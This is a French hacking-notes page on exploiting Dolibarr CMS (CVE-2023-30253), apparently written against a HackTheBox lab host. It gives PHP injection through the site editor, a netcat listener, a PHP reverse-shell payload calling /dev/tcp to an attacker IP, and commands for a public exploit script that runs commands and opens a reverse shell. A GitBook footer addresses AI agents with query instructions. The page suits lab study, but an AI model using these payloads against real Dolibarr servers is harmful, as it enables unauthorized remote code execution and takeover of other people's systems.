> For the complete documentation index, see [llms.txt](https://hacking-notes.jord4n.pro/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://hacking-notes.jord4n.pro/fr/cms/dolibarr-cms-exploitation.md).

# Dolibarr

<figure><img src="/files/013b41d41f21f76e7f9222bc67fd682a44da58e8" alt=""><figcaption></figcaption></figure>

**Connexion non authentifiée :** Une tentative de connexion avec des identifiants aléatoires ouvre une session administrateur, mais sans permissions.

<figure><img src="/files/c6101af5e2186b312175ef7a7fad64ad09bad06c" alt="" width="563"><figcaption></figcaption></figure>

<figure><img src="/files/d00897af1efc3faaac61410e19a6e55f81dfdba7" alt=""><figcaption></figcaption></figure>

### **Exploitation manuelle**

**Création d’un site malveillant :**

Dans la section de création du site, insérez le code PHP malveillant :

<figure><img src="/files/0cd8f4b9b4cf000535e06871233f76f6d977cbfc" alt=""><figcaption></figcaption></figure>

```php
<section id="pwned" contenteditable="true"><?PhP system("whoami"); ?></section>
```

<figure><img src="/files/c0302568586e50d63f20a2e1b626e1e91fd6b08d" alt=""><figcaption></figcaption></figure>

L’exécution de commandes est confirmée.

<figure><img src="/files/a697c807bf58836142dbed49758642f39de18cf8" alt=""><figcaption></figcaption></figure>

**Shell inversé :**

Démarrez un écouteur :

```bash
nc -nvlp 443
```

Code PHP de shell inversé :

```php
<?phP
system($_GET['bash -c "bash -i >%26 /dev/tcp/10.10.14.47/443 0>%261"']);
?>
```

<figure><img src="/files/73783c9dc8e0f767928e9efee5634708ae1c50ca" alt=""><figcaption></figcaption></figure>

### **Exploitation automatisée**

{% embed url="<https://github.com/Rubikcuv5/cve-2023-30253>" %}

**Installez les dépendances :**

```bash
pip3 install -r requirements.txt 
```

**Exécutez le script :**

Test de commande (whoami)

```bash
python3 exploit.py --url http://crm.board.htb -u admin -p admin -c whoami
```

<figure><img src="/files/a28b602d55b4a1b2b6f7a1d5999638333615b2f8" alt=""><figcaption></figcaption></figure>

#### Shell inversé

```bash
python3 exploit.py --url http://crm.board.htb -u admin -p admin -r 10.10.14.47 443
```

<figure><img src="/files/18fdf3f44a947518a32f0d34abc784b866d457b1" alt=""><figcaption></figcaption></figure>


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter, and the optional `goal` query parameter:

```
GET https://hacking-notes.jord4n.pro/fr/cms/dolibarr-cms-exploitation.md?ask=<question>&goal=<endgoal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is optional and describes the broader end goal you are ultimately trying to accomplish on behalf of the user. GitBook uses it to tailor the answer towards what is most useful for that goal.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
